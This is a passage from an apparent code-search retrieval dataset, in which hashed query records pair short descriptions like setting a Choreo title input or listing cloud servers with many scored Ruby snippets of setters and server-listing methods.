df2bf9c4496a11bc1acf54a32ff5779c
|
Set the value of the Title input for this Choreo.
|
[
{
"docid": "267935378e6b2d6c376a27646bf46afa",
"score": "0.78180444",
"text": "def set_Title(value)\n set_input(\"Title\", value)\n end",
"title": ""
}
] |
[
{
"docid": "cd33e67a4801c216ef99f85d2e7d0647",
"score": "0.780413",
"text": "def set_title(title)\n @title = title\n end",
"title": ""
},
{
"docid": "cd33e67a4801c216ef99f85d2e7d0647",
"score": "0.780413",
"text": "def set_title(title)\n @title = title\n end",
"title": ""
},
{
"docid": "cd33e67a4801c216ef99f85d2e7d0647",
"score": "0.780413",
"text": "def set_title(title)\n @title = title\n end",
"title": ""
},
{
"docid": "d5a955df64d92be042598b56cb26ab06",
"score": "0.77681476",
"text": "def title=(title)\n if title.nil?\n fail ArgumentError, 'invalid value for \"title\", title cannot be nil.'\n end\n @title = title\n end",
"title": ""
},
{
"docid": "d5a955df64d92be042598b56cb26ab06",
"score": "0.77681476",
"text": "def title=(title)\n if title.nil?\n fail ArgumentError, 'invalid value for \"title\", title cannot be nil.'\n end\n @title = title\n end",
"title": ""
},
{
"docid": "7d39794e39b12538acf614d3f601cca2",
"score": "0.76979893",
"text": "def title=(value)\n @title = value\n end",
"title": ""
},
{
"docid": "851555e568767c1ab61ab54bc7c2dd00",
"score": "0.76457477",
"text": "def set_title( title ) \n @title = title\n end",
"title": ""
},
{
"docid": "80d5d9459cacdcde745c681ae49ce914",
"score": "0.7636359",
"text": "def title=(value)\n @title = value\n end",
"title": ""
},
{
"docid": "80d5d9459cacdcde745c681ae49ce914",
"score": "0.7636359",
"text": "def title=(value)\n @title = value\n end",
"title": ""
},
{
"docid": "80d5d9459cacdcde745c681ae49ce914",
"score": "0.7636359",
"text": "def title=(value)\n @title = value\n end",
"title": ""
},
{
"docid": "80d5d9459cacdcde745c681ae49ce914",
"score": "0.7636359",
"text": "def title=(value)\n @title = value\n end",
"title": ""
},
{
"docid": "80d5d9459cacdcde745c681ae49ce914",
"score": "0.7636359",
"text": "def title=(value)\n @title = value\n end",
"title": ""
},
{
"docid": "80d5d9459cacdcde745c681ae49ce914",
"score": "0.7636359",
"text": "def title=(value)\n @title = value\n end",
"title": ""
},
{
"docid": "80d5d9459cacdcde745c681ae49ce914",
"score": "0.7636359",
"text": "def title=(value)\n @title = value\n end",
"title": ""
},
{
"docid": "80d5d9459cacdcde745c681ae49ce914",
"score": "0.7636359",
"text": "def title=(value)\n @title = value\n end",
"title": ""
},
{
"docid": "80d5d9459cacdcde745c681ae49ce914",
"score": "0.7636359",
"text": "def title=(value)\n @title = value\n end",
"title": ""
},
{
"docid": "80d5d9459cacdcde745c681ae49ce914",
"score": "0.7636359",
"text": "def title=(value)\n @title = value\n end",
"title": ""
},
{
"docid": "e48af48c5c1fee1b63ba8f7f99afa17a",
"score": "0.7616275",
"text": "def set_Title(value)\n set_input(\"Title\", value)\n end",
"title": ""
},
{
"docid": "e48af48c5c1fee1b63ba8f7f99afa17a",
"score": "0.7616275",
"text": "def set_Title(value)\n set_input(\"Title\", value)\n end",
"title": ""
},
{
"docid": "e48af48c5c1fee1b63ba8f7f99afa17a",
"score": "0.7615668",
"text": "def set_Title(value)\n set_input(\"Title\", value)\n end",
"title": ""
},
{
"docid": "e48af48c5c1fee1b63ba8f7f99afa17a",
"score": "0.7615668",
"text": "def set_Title(value)\n set_input(\"Title\", value)\n end",
"title": ""
},
{
"docid": "e48af48c5c1fee1b63ba8f7f99afa17a",
"score": "0.7615668",
"text": "def set_Title(value)\n set_input(\"Title\", value)\n end",
"title": ""
},
{
"docid": "e48af48c5c1fee1b63ba8f7f99afa17a",
"score": "0.7615668",
"text": "def set_Title(value)\n set_input(\"Title\", value)\n end",
"title": ""
},
{
"docid": "e48af48c5c1fee1b63ba8f7f99afa17a",
"score": "0.7615527",
"text": "def set_Title(value)\n set_input(\"Title\", value)\n end",
"title": ""
},
{
"docid": "e48af48c5c1fee1b63ba8f7f99afa17a",
"score": "0.7615527",
"text": "def set_Title(value)\n set_input(\"Title\", value)\n end",
"title": ""
},
{
"docid": "e48af48c5c1fee1b63ba8f7f99afa17a",
"score": "0.7615527",
"text": "def set_Title(value)\n set_input(\"Title\", value)\n end",
"title": ""
},
{
"docid": "e48af48c5c1fee1b63ba8f7f99afa17a",
"score": "0.7615527",
"text": "def set_Title(value)\n set_input(\"Title\", value)\n end",
"title": ""
},
{
"docid": "e48af48c5c1fee1b63ba8f7f99afa17a",
"score": "0.7615527",
"text": "def set_Title(value)\n set_input(\"Title\", value)\n end",
"title": ""
},
{
"docid": "e48af48c5c1fee1b63ba8f7f99afa17a",
"score": "0.7615527",
"text": "def set_Title(value)\n set_input(\"Title\", value)\n end",
"title": ""
},
{
"docid": "e48af48c5c1fee1b63ba8f7f99afa17a",
"score": "0.7615527",
"text": "def set_Title(value)\n set_input(\"Title\", value)\n end",
"title": ""
},
{
"docid": "e48af48c5c1fee1b63ba8f7f99afa17a",
"score": "0.7615527",
"text": "def set_Title(value)\n set_input(\"Title\", value)\n end",
"title": ""
},
{
"docid": "e48af48c5c1fee1b63ba8f7f99afa17a",
"score": "0.7615527",
"text": "def set_Title(value)\n set_input(\"Title\", value)\n end",
"title": ""
},
{
"docid": "e48af48c5c1fee1b63ba8f7f99afa17a",
"score": "0.7615527",
"text": "def set_Title(value)\n set_input(\"Title\", value)\n end",
"title": ""
},
{
"docid": "e48af48c5c1fee1b63ba8f7f99afa17a",
"score": "0.7615527",
"text": "def set_Title(value)\n set_input(\"Title\", value)\n end",
"title": ""
},
{
"docid": "e48af48c5c1fee1b63ba8f7f99afa17a",
"score": "0.7615527",
"text": "def set_Title(value)\n set_input(\"Title\", value)\n end",
"title": ""
},
{
"docid": "e48af48c5c1fee1b63ba8f7f99afa17a",
"score": "0.7615527",
"text": "def set_Title(value)\n set_input(\"Title\", value)\n end",
"title": ""
},
{
"docid": "e48af48c5c1fee1b63ba8f7f99afa17a",
"score": "0.7615527",
"text": "def set_Title(value)\n set_input(\"Title\", value)\n end",
"title": ""
},
{
"docid": "e48af48c5c1fee1b63ba8f7f99afa17a",
"score": "0.7615527",
"text": "def set_Title(value)\n set_input(\"Title\", value)\n end",
"title": ""
},
{
"docid": "e48af48c5c1fee1b63ba8f7f99afa17a",
"score": "0.7615527",
"text": "def set_Title(value)\n set_input(\"Title\", value)\n end",
"title": ""
},
{
"docid": "e48af48c5c1fee1b63ba8f7f99afa17a",
"score": "0.7615527",
"text": "def set_Title(value)\n set_input(\"Title\", value)\n end",
"title": ""
},
{
"docid": "e48af48c5c1fee1b63ba8f7f99afa17a",
"score": "0.7615527",
"text": "def set_Title(value)\n set_input(\"Title\", value)\n end",
"title": ""
},
{
"docid": "e48af48c5c1fee1b63ba8f7f99afa17a",
"score": "0.7615527",
"text": "def set_Title(value)\n set_input(\"Title\", value)\n end",
"title": ""
},
{
"docid": "e48af48c5c1fee1b63ba8f7f99afa17a",
"score": "0.7615527",
"text": "def set_Title(value)\n set_input(\"Title\", value)\n end",
"title": ""
},
{
"docid": "e48af48c5c1fee1b63ba8f7f99afa17a",
"score": "0.7615527",
"text": "def set_Title(value)\n set_input(\"Title\", value)\n end",
"title": ""
},
{
"docid": "e48af48c5c1fee1b63ba8f7f99afa17a",
"score": "0.7615527",
"text": "def set_Title(value)\n set_input(\"Title\", value)\n end",
"title": ""
},
{
"docid": "e48af48c5c1fee1b63ba8f7f99afa17a",
"score": "0.7615527",
"text": "def set_Title(value)\n set_input(\"Title\", value)\n end",
"title": ""
},
{
"docid": "e48af48c5c1fee1b63ba8f7f99afa17a",
"score": "0.7615527",
"text": "def set_Title(value)\n set_input(\"Title\", value)\n end",
"title": ""
},
{
"docid": "e48af48c5c1fee1b63ba8f7f99afa17a",
"score": "0.7615527",
"text": "def set_Title(value)\n set_input(\"Title\", value)\n end",
"title": ""
},
{
"docid": "e48af48c5c1fee1b63ba8f7f99afa17a",
"score": "0.7615527",
"text": "def set_Title(value)\n set_input(\"Title\", value)\n end",
"title": ""
},
{
"docid": "e48af48c5c1fee1b63ba8f7f99afa17a",
"score": "0.7615527",
"text": "def set_Title(value)\n set_input(\"Title\", value)\n end",
"title": ""
},
{
"docid": "e48af48c5c1fee1b63ba8f7f99afa17a",
"score": "0.7615527",
"text": "def set_Title(value)\n set_input(\"Title\", value)\n end",
"title": ""
},
{
"docid": "e48af48c5c1fee1b63ba8f7f99afa17a",
"score": "0.7615527",
"text": "def set_Title(value)\n set_input(\"Title\", value)\n end",
"title": ""
},
{
"docid": "35b78283716746e90484c01b9865898a",
"score": "0.76068693",
"text": "def title=(value)\n set_title(response, value)\n end",
"title": ""
},
{
"docid": "2443bcc855e763e4dfe81fcb920ca223",
"score": "0.76011676",
"text": "def title=(new_title)\n @title = new_title\n end",
"title": ""
},
{
"docid": "2443bcc855e763e4dfe81fcb920ca223",
"score": "0.76011676",
"text": "def title=(new_title)\n @title = new_title\n end",
"title": ""
},
{
"docid": "af4ccf03abf6a4f5b9d7a30f65f8d3c9",
"score": "0.7584533",
"text": "def set_title(new_title)\n @title = new_title\n end",
"title": ""
},
{
"docid": "50adb4b169a699dc90c18dc3a70e1b9c",
"score": "0.757546",
"text": "def setTitle(iTitle)\n @Title = iTitle\n end",
"title": ""
},
{
"docid": "92be83fb5a4c0416731b275ae068befa",
"score": "0.7528238",
"text": "def set_title(title)\n @title = \"#{title}\"\n end",
"title": ""
},
{
"docid": "277737a7a2cfdf6812153f96663862d8",
"score": "0.75229686",
"text": "def title(title)\n @title = title\n end",
"title": ""
},
{
"docid": "ee516e9f67380db5197b2d345446b904",
"score": "0.7474388",
"text": "def title=(title)\n @content[pn(:Title)] = pl(title)\n end",
"title": ""
},
{
"docid": "7948909e1366f8e5a6aa858b4cdaeee0",
"score": "0.74650013",
"text": "def title=(title)\n if !title.nil? && title.to_s.length < 1\n fail ArgumentError, 'invalid value for \"title\", the character length must be great than or equal to 1.'\n end\n\n @title = title\n end",
"title": ""
},
{
"docid": "3bb400200a8373543daf2232267873ae",
"score": "0.7413372",
"text": "def title=(value)\n set_title(response, value)\n end",
"title": ""
},
{
"docid": "3bb400200a8373543daf2232267873ae",
"score": "0.7413372",
"text": "def title=(value)\n set_title(response, value)\n end",
"title": ""
},
{
"docid": "486b0e7306bb5c5bd94cd8b5c5bf29d4",
"score": "0.74115646",
"text": "def setTitle(title)\r\n\t\t\t\t\t@title = title\r\n\t\t\t\tend",
"title": ""
},
{
"docid": "486b0e7306bb5c5bd94cd8b5c5bf29d4",
"score": "0.74115646",
"text": "def setTitle(title)\r\n\t\t\t\t\t@title = title\r\n\t\t\t\tend",
"title": ""
},
{
"docid": "ab3d14fef49602f923b197b9d402558b",
"score": "0.7406992",
"text": "def title=(string)\n @title = string\n end",
"title": ""
},
{
"docid": "7e1ea7ba49d571e0999e48c63b93f1f3",
"score": "0.73922247",
"text": "def title=(value)\n validate_single_line(:title, value)\n super(value)\n end",
"title": ""
},
{
"docid": "84c49442d108069849caa02cdab28d14",
"score": "0.73917466",
"text": "def title=(title)\n write_attribute(:title, title)\n self.update_url_title\n end",
"title": ""
},
{
"docid": "601330f41a4ebdca64b93134a8435e51",
"score": "0.738479",
"text": "def SetTitle(title)\n #Title of document\n @title = title\n end",
"title": ""
},
{
"docid": "ca138e813a3c679598fa42f76d1773c5",
"score": "0.73660946",
"text": "def title=(new_title)\n @title = new_title unless @read_only\n end",
"title": ""
},
{
"docid": "ab552c5ac1f52b14be095c1b1115794c",
"score": "0.7363527",
"text": "def title=( new_title )\n if @writable\n @title = new_title\n end\n end",
"title": ""
},
{
"docid": "bb55277af4dbd755e4262d90edb44f2e",
"score": "0.7345138",
"text": "def title=(new_title)\n if @writable\n @title = new_title\n end\n end",
"title": ""
},
{
"docid": "ea740cc105c2c3a2e5f4b9caf8b8880d",
"score": "0.7318368",
"text": "def title=(new_title)\n @title = new_title if @writable\n end",
"title": ""
},
{
"docid": "1d0d23beb55d323da75a9d0236b4cc15",
"score": "0.73003185",
"text": "def title=(value)\n\t \t@title = titleize (value)\n\t end",
"title": ""
},
{
"docid": "a686c78b3208a2d1e1ccd97a613c2f39",
"score": "0.7278331",
"text": "def title=(title)\n pattern = Regexp.new(/^[\\p{White_Space}\\p{L}\\p{M}\\p{S}\\p{N}\\p{P}\\n\\r\\t]*$/)\n if !title.nil? && title !~ pattern\n fail ArgumentError, \"invalid value for \\\"title\\\", must conform to the pattern #{pattern}.\"\n end\n\n @title = title\n end",
"title": ""
},
{
"docid": "79707015438859419ca12904f11201d8",
"score": "0.72627854",
"text": "def title=(title)\n\n if !title.nil? && title.to_s.length > 255\n fail ArgumentError, \"invalid value for 'title', the character length must be smaller than or equal to 255.\"\n end\n\n @title = title\n end",
"title": ""
},
{
"docid": "07ebbdafc29fecae2c454f31a3c30ee6",
"score": "0.7259768",
"text": "def title=(title)\n @title = title\n end",
"title": ""
},
{
"docid": "07ebbdafc29fecae2c454f31a3c30ee6",
"score": "0.7259768",
"text": "def title=(title)\n @title = title\n end",
"title": ""
},
{
"docid": "07ebbdafc29fecae2c454f31a3c30ee6",
"score": "0.7259768",
"text": "def title=(title)\n @title = title\n end",
"title": ""
},
{
"docid": "48343d30d1db64de10a7457cdd772c2e",
"score": "0.7217365",
"text": "def title(value)\n @title = value\n end",
"title": ""
},
{
"docid": "e59e911f289579d0aa05a7b5e9288d9f",
"score": "0.7198967",
"text": "def title=(new_title)\n @title = new_title\n end",
"title": ""
},
{
"docid": "3be25072875619e39ad7d7f3cc783d44",
"score": "0.7173099",
"text": "def set_SpreadsheetTitle(value)\n set_input(\"SpreadsheetTitle\", value)\n end",
"title": ""
},
{
"docid": "40ac888589a4eb01113d899b3a01c421",
"score": "0.7164552",
"text": "def title=(new_title)\n @title = new_title unless @read_only\n end",
"title": ""
},
{
"docid": "6f07196db41b23894bce68e086433da4",
"score": "0.71587324",
"text": "def update_title(new_title)\n @title = new_title\n end",
"title": ""
},
{
"docid": "5855632a1729ab8fe08e3490aa3b68fc",
"score": "0.7152639",
"text": "def title=(v)\n DataTypeValidator.validate \"#{self.class}.title\", [String, Cell], v\n @title ||= Title.new\n if v.is_a?(String)\n @title.text = v\n elsif v.is_a?(Cell)\n @title.cell = v\n end\n end",
"title": ""
},
{
"docid": "95f3ca7fbe7b371a5d16ba3d2b5414b1",
"score": "0.7146406",
"text": "def title=(title)\n @attributes.occi!.core!.title = title\n end",
"title": ""
},
{
"docid": "db279d7d2b007d359344a9e994865241",
"score": "0.7131407",
"text": "def title=(title)\n client.update_issue(repository, number, title: title) if title != @title\n @title = title\n end",
"title": ""
},
{
"docid": "1d8d38685f52e82e26705d5536e86fa2",
"score": "0.71307606",
"text": "def title=(title)\n\t\t@title = titleize(title)\n\tend",
"title": ""
},
{
"docid": "5b0ea15b9aa31eb52a33f40b41d73a85",
"score": "0.71193963",
"text": "def title=(title)\n title = nil unless title.present?\n settings.title = title\n end",
"title": ""
},
{
"docid": "5b0ea15b9aa31eb52a33f40b41d73a85",
"score": "0.71193963",
"text": "def title=(title)\n title = nil unless title.present?\n settings.title = title\n end",
"title": ""
},
{
"docid": "8dbf99c7c0e171b05b2f1b45c5c2157b",
"score": "0.71148205",
"text": "def title=(title) # a setter method always takes an argument\n @title = title # don't forget to set the instance variable\n end",
"title": ""
},
{
"docid": "498a6381ded72edc1170e548d122703d",
"score": "0.71095365",
"text": "def set_title(iTitle)\n puts \"==== #{iTitle} ... ====\"\n end",
"title": ""
},
{
"docid": "cbbcb0a6420887ca78c83b708f927f0e",
"score": "0.710511",
"text": "def title=(title)\n if !title.nil? && title.to_s.length > 250\n fail ArgumentError, 'invalid value for \"title\", the character length must be smaller than or equal to 250.'\n end\n\n @title = title\n end",
"title": ""
}
] |
e5c3eccdc2956520c4721671dc991452
|
Returns list of servers from fog
|
[
{
"docid": "0aaa7efb52db88abf3e5ce8298500b59",
"score": "0.62059766",
"text": "def list_known_servers\n connect.servers.each do |sr|\n logger.debug sr.inspect\n end\n end",
"title": ""
}
] |
[
{
"docid": "261f064a62d585d0be8cad866fcae2ff",
"score": "0.7186355",
"text": "def get_servers\n puts \"Getting server list\"\n servers = @conn.list_servers\n\n for server in servers.body['servers']\n puts server\n end\n\n return servers.body['servers']\n end",
"title": ""
},
{
"docid": "18bbc18b3b623435843bd889497c7290",
"score": "0.70903903",
"text": "def servers\n login\n\n uri = @services['compute'] + 'servers/detail'\n\n body = get uri\n\n body['servers'].map do |server|\n vm = Server.new server\n vm.openstack = self\n vm\n end\n end",
"title": ""
},
{
"docid": "85f02d63d78b715050a9c81c3b1991c5",
"score": "0.7024952",
"text": "def servers\n nr_api.get(url('servers')).body['servers']\n rescue NoMethodError\n []\n end",
"title": ""
},
{
"docid": "4d2e0bd8939c79becffac26f506e9ae8",
"score": "0.69864506",
"text": "def list_servers\n connection.get do |req|\n req.url \"agent/servers\"\n end\n end",
"title": ""
},
{
"docid": "cd0d413cf1ccdb4cae151320019a1944",
"score": "0.69503844",
"text": "def name_servers\n Array(@gapi[\"nameServers\"])\n end",
"title": ""
},
{
"docid": "37312283e2500b6f7830efc08d4e004c",
"score": "0.6928426",
"text": "def get_instances\n logger.info \"getting instances for #{@hostname}\"\n compute_url=\"#{@compute_url}/servers/detail?all_tenants=true\"\n response_raw=RestClient::Request.execute(method: :get, :url => compute_url, headers: {\"X-Auth-Token\" => @token}, :verify_ssl => false)\n json_data = JSON.parse(response_raw.body)[\"servers\"]\n logger.info \"recieved #{json_data.count} instances from #{@hostname}\"\n json_data\n end",
"title": ""
},
{
"docid": "5470e53212426fc808d7cf3d24680747",
"score": "0.691583",
"text": "def servers\n response = get \"server\"\n data = JSON.parse response.body\n data[\"servers\"][\"server\"]\n end",
"title": ""
},
{
"docid": "31a008f54006b9563142b5e445480c12",
"score": "0.672845",
"text": "def index\n @gce_servers = GceServer.all\n end",
"title": ""
},
{
"docid": "0fd0a9f8cdc7e6867161ccbf49f804c9",
"score": "0.6723643",
"text": "def get_all_hosts\n @raw[\"servers\"].keys\n end",
"title": ""
},
{
"docid": "b0b5dd4e7c5ea7a31a3c397811ea3dca",
"score": "0.6711092",
"text": "def servers\n @servers\n end",
"title": ""
},
{
"docid": "01ff89a51282b7d07f022327fa03016c",
"score": "0.6704377",
"text": "def servers()\n servers = []\n servers.concat(@servers)\n\n @groups.each do |g|\n servers.concat(g.servers)\n end\n\n return servers\n end",
"title": ""
},
{
"docid": "b32e3e6a4bc5bdb40db95bc1ae1a82d7",
"score": "0.6687251",
"text": "def get_servers(bot)\n bot.servers.map {|key, server| server.name}.join(', ')\n end",
"title": ""
},
{
"docid": "05e78025880e82e09649dec058f61472",
"score": "0.6663793",
"text": "def servers\n return @servers.values\n end",
"title": ""
},
{
"docid": "874eb7306de145f5d1145d0697fe6608",
"score": "0.664154",
"text": "def servers\n @servers ||= []\n end",
"title": ""
},
{
"docid": "cb1487a164db405817ed2513961cc655",
"score": "0.66297096",
"text": "def query_server_list\n get_resource_list('compute', 'servers', 'servers')\n puts 'The list of VMs in this PowerVC cloud are:'\n headers = ['VMs']\n print_table(headers, @resource_print_list)\n footer\n end",
"title": ""
},
{
"docid": "35a55b1afe6392a5873866b31d04a1e7",
"score": "0.6621975",
"text": "def servers\n @servers.keys\n end",
"title": ""
},
{
"docid": "79ff399ef33ebcb49201f2de138d6125",
"score": "0.65741605",
"text": "def grab_servers\n servers = self.servers;\n sent_servers = servers.map do |server| \n newServer = {}\n newServer[:id] = server[:id]\n newServer[:owner_id] = server[:owner_id]\n newServer[:image] = server[:image]\n newServer[:name] = server[:name]\n newServer[:members] = server.members.map { |member| member.id }\n if server.photo.attached?\n newServer[:photoUrl] = server.photo\n end\n newServer\n end\n sent_servers\n end",
"title": ""
},
{
"docid": "43237f330f7a78823ea8c13ff04589ce",
"score": "0.6557735",
"text": "def servers\n @servers ||= []\n end",
"title": ""
},
{
"docid": "9a786298972638f682b3cb04a690bc49",
"score": "0.65275675",
"text": "def list_servers\n request_path = '/servers'\n request = BaseManagement::SqlManagementHttpRequest.new(:get, request_path, nil)\n response = request.call\n Serialization.databases_from_xml(response)\n end",
"title": ""
},
{
"docid": "8c5900c1338208acd230549320c4e4d4",
"score": "0.65200454",
"text": "def name_servers\n response = @client.rest_get(@data['uri'] + '/nameServers')\n response.body\n end",
"title": ""
},
{
"docid": "7b5eb7dd94e00ffc9346304909606997",
"score": "0.65157235",
"text": "def get_servers(host=nil, port=nil)\n host ||= '63.146.124.21'\n port ||= 20810\n # TODO 6 ?\n cmd = \"getservers 6 full empty\"\n servers = []\n #TODO need to read all the responses, not just the first\n request_many(cmd, host, port) do |resp, _|\n break if resp.nil?\n servers += parse_serversResponse(resp)\n end\n\n servers\n end",
"title": ""
},
{
"docid": "eb195e56d6341750c3b5052b0346fd1a",
"score": "0.64748836",
"text": "def servers\n collect\n end",
"title": ""
},
{
"docid": "241da30b7d6f168a44bd9ffbe75bdda4",
"score": "0.6470905",
"text": "def getServers(admin)\n serverInfos = admin.getClusterMetrics.getLiveServerMetrics.keySet\n servers = []\n serverInfos.each do |server|\n servers << server.getServerName\n end\n servers\nend",
"title": ""
},
{
"docid": "1456e7381c1fe0365cee7301c70e4d10",
"score": "0.64659595",
"text": "def flavors\n login\n\n uri = @services['compute'] + 'flavors/detail'\n\n body = get uri\n\n body['flavors'].map do |flavor|\n Flavor.new flavor\n end\n end",
"title": ""
},
{
"docid": "3b3003433e9055f30110414b85811694",
"score": "0.64484125",
"text": "def servers\n topology.servers(servers_list.compact).compact\n end",
"title": ""
},
{
"docid": "b53dde47282ea1147344d7da868b86a6",
"score": "0.6447464",
"text": "def servers\n topology.servers(servers_list)\n end",
"title": ""
},
{
"docid": "1339f8227aba58d7f5bd2448d5d162dd",
"score": "0.63987607",
"text": "def instances\n Google::Compute::CreatableResourceCollection.new(\n :resource_class => Google::Compute::Server, :dispatcher=>@dispatcher)\n end",
"title": ""
},
{
"docid": "37dc9f27ca789f4333c0b7f3ef861487",
"score": "0.63679564",
"text": "def list_servers\n Util.cachier('list_servers') do\n Client.servers.sort_by { |hsh| hsh['last_reported_at'] }.collect do |server|\n {\n name: server['name'],\n last_reported_at: server['last_reported_at'],\n id: server['id'],\n reporting: server['reporting']\n }\n end\n end\n end",
"title": ""
},
{
"docid": "9093687c27f3a91df26a63a925169f22",
"score": "0.6365379",
"text": "def servers\n @servers ||= {}\n @servers\n end",
"title": ""
},
{
"docid": "581a44b59b4be0e26bba33781218eb20",
"score": "0.6350163",
"text": "def list_servers\n Com::Vmware::Vcenter::VM.new(vapi_config).list()\n end",
"title": ""
},
{
"docid": "48ca49a1fdeb2bd562bf98366c9c670d",
"score": "0.6344794",
"text": "def list_servers\n vms = VSphereAutomation::VCenter::VMApi.new(api_client).list.value\n\n # list_resource_command uses .send(:name) syntax, so convert to OpenStruct to keep it compatible\n vms.map { |vmsummary| OpenStruct.new(vmsummary.to_hash) }\n end",
"title": ""
},
{
"docid": "334a2a8ab5cc0290a1b6fa54654bc5c4",
"score": "0.63439417",
"text": "def servers\n slice(indexes)\n end",
"title": ""
},
{
"docid": "d25bc58405304941a3259463759cec00",
"score": "0.6331498",
"text": "def servers\n @_servers ||= []\n end",
"title": ""
},
{
"docid": "0f64c32cb246994c800dc10880d767a5",
"score": "0.6292946",
"text": "def list_servers\n params = {\n 'command' => 'listVirtualMachines'\n }\n json = send_request(params)\n json['virtualmachine'] || []\n end",
"title": ""
},
{
"docid": "38e884226eb1980330ba1edc1fbd709e",
"score": "0.6292186",
"text": "def get_server_info\n @servers += get_servers_by_tag(@tags)\n @servers += get_servers_by_deployment(@deployment_names)\n @servers = filter_out_non_operational_servers(@servers)\n end",
"title": ""
},
{
"docid": "dea5d247074ba4eb0b2acc1a55086891",
"score": "0.6279817",
"text": "def list_known_servers\n connect.servers.all\n end",
"title": ""
},
{
"docid": "dea5d247074ba4eb0b2acc1a55086891",
"score": "0.6279817",
"text": "def list_known_servers\n connect.servers.all\n end",
"title": ""
},
{
"docid": "dea5d247074ba4eb0b2acc1a55086891",
"score": "0.6279817",
"text": "def list_known_servers\n connect.servers.all\n end",
"title": ""
},
{
"docid": "f56286ef256ae11ae488ec1677bc6733",
"score": "0.6261971",
"text": "def servers\n endpoint.config.nodes.map{ |h| \"#{h[:host]}:#{h[:port]}\" }\n end",
"title": ""
},
{
"docid": "64562b0ecb1ca97899d6d0a595fd4934",
"score": "0.6244061",
"text": "def list(server:)\n result = Arango::Requests::Database::ListAll.execute(server: server).result \n end",
"title": ""
},
{
"docid": "6e47865be64513eaa946e88c43181af7",
"score": "0.6242422",
"text": "def services\n services = RingyDingy::RingServer.list_services\n\n services.values.flatten 1\n end",
"title": ""
},
{
"docid": "c95be4ff1a5b3f42efa0819c9bba0bd3",
"score": "0.62337214",
"text": "def get_flavors\n request(\n :expects => 200,\n :method => 'GET',\n :parser => Fog::Parsers::Compute::Slicehost::GetFlavors.new,\n :path => 'flavors.xml'\n )\n end",
"title": ""
},
{
"docid": "9f337607ad24c76311d4af185c831a46",
"score": "0.62335783",
"text": "def all_servers_by_type\n @all_servers_by_type ||= hcloud_client.servers.select do |server|\n server.server_type.id == server_type.id\n end\n end",
"title": ""
},
{
"docid": "5c7f4ab8d4786a2c01c6e11180869852",
"score": "0.6231168",
"text": "def all\n @virtual_servers\n end",
"title": ""
},
{
"docid": "e7fb56b23cc6d7cfd1939c884b892c51",
"score": "0.62296194",
"text": "def accessible_servers\n Server.by_ability(:list, self)\n end",
"title": ""
},
{
"docid": "b5f3dbbc98f5963aed66c30309d8773b",
"score": "0.62204134",
"text": "def servers\n return self.bare_metal_servers + self.virtual_servers\n end",
"title": ""
},
{
"docid": "60f5ad9162149b59a8d402272f525d0a",
"score": "0.6217319",
"text": "def servers\n print_servers\n end",
"title": ""
},
{
"docid": "84ebd276ed12954b40c03a6ac4afe1a7",
"score": "0.61915755",
"text": "def get_servers\n request_string = construct_request\n response = get_response request_string\n json = JSON.parse response.body\n servers = json.collect{|piece| piece[\"certname\"]}.uniq.sort\n if servers.empty?\n raise \"\\n****************************\\nTHERE IS NO SERVER TO DEPLOY TO, CHECK YOUR PUPPET SITE.PP\\n**************************\"\n end\n return servers\n end",
"title": ""
},
{
"docid": "e9fe39c510f5cf3c0c5253cab5c3a3c4",
"score": "0.6190698",
"text": "def names\n @virtual_servers.map(&:name)\n end",
"title": ""
},
{
"docid": "579912e9c35d0012eb87675c01ec7bd8",
"score": "0.6172185",
"text": "def detect_revealcloud_servers(stack_id, endpoint)\n response = endpoint.get(\n config.fetch(\n :copperegg,\n :revealcloud_index_path,\n '/v2/revealcloud/systems.json?show_hidden=1'\n )\n )\n servers = MultiJson.load(response.body)\n servers.find_all do |server|\n server.fetch('t', []).include?(stack_id)\n end\n end",
"title": ""
},
{
"docid": "29a1c069aaf833190d49f6caff537ab9",
"score": "0.616501",
"text": "def servers(auth)\n MijDiscord::Core::API.request(\n :users_me_guilds,\n nil,\n :get,\n \"#{MijDiscord::Core::API::APIBASE_URL}/users/@me/guilds\",\n Authorization: auth\n )\n end",
"title": ""
},
{
"docid": "0219da1db8c49b9758fb86b8fe10b818",
"score": "0.61504275",
"text": "def servers\n local_server_address = cluster_manager.local_server_address\n servers={local_server_address => {:server_address => local_server_address}}\n cluster_manager.servers.each do |k,v|\n servers[k] = v.to_hash\n end\n content={:servers => servers}\n respond 200, content\n end",
"title": ""
},
{
"docid": "12ff7081d41fa4c1142d5364f61f078a",
"score": "0.61401117",
"text": "def servers\n @server_ids.keys\n end",
"title": ""
},
{
"docid": "b5ab100e6e995f5f143bd99920f9b3d4",
"score": "0.6138027",
"text": "def servers\n pool.servers\n end",
"title": ""
},
{
"docid": "a65177723e27c77478526ca90a8d1949",
"score": "0.6131457",
"text": "def list_servers\n servers.sort_by(&:to_s).map(&:shortname).join(', ')\n end",
"title": ""
},
{
"docid": "5e70f2de5b80d5d22e8f80df441fe45e",
"score": "0.6082144",
"text": "def fetchServers(lane=nil)\n servers = []\n\n @conn.servers.each{ |server|\n s = {\n :ip => server.public_ip_address,\n :lane => server.tags['Lane'],\n :name => server.tags['Name'],\n :id => server.id\n }\n if s[:ip]\n if lane == nil or lane == s[:lane]\n servers.push s\n end\n end\n };\n\n servers.sort_by!{ |s| [s[:lane] ? s[:lane] : \"zzz\", s[:name]] }\n\n return servers\n end",
"title": ""
},
{
"docid": "6e50ae275a18d34f633f94d3a50b4bbb",
"score": "0.6073005",
"text": "def vms(opts = {})\n client.servers\n end",
"title": ""
},
{
"docid": "f77222f5b35b2ea4df7aa6b32d3961ee",
"score": "0.6067099",
"text": "def addresses\n servers_list.map(&:address)\n end",
"title": ""
},
{
"docid": "85a9feda83365b658dfe649ebfec9c53",
"score": "0.6039823",
"text": "def serverlist\n execute([executable, \"--serverlist\"]).split(\"\\n\")\n end",
"title": ""
},
{
"docid": "85a9feda83365b658dfe649ebfec9c53",
"score": "0.6039823",
"text": "def serverlist\n execute([executable, \"--serverlist\"]).split(\"\\n\")\n end",
"title": ""
},
{
"docid": "d6190353a78e3e4975c7c72e4079a893",
"score": "0.6030448",
"text": "def index\n @servers = current_user.servers\n end",
"title": ""
},
{
"docid": "cc04a06c33edffe50017c3f96d0a283a",
"score": "0.6020039",
"text": "def query_flavor_list\n get_resource_list('compute', 'flavors', 'flavors')\n puts 'The list of Compute Templates in this PowerVC cloud are:'\n headers = ['Compute Templates']\n print_table(headers, @resource_print_list)\n footer\n end",
"title": ""
},
{
"docid": "5dbcef9bf7690cdabb2bdddb9dca2a98",
"score": "0.6019296",
"text": "def getList\n c = ''\n @servers.each do |pt, val|\n if val\n @@currServs[pt] = @servers[pt]\n #p val\n c += \"#{pt}\\n\"\n end\n end\n return c\n end",
"title": ""
},
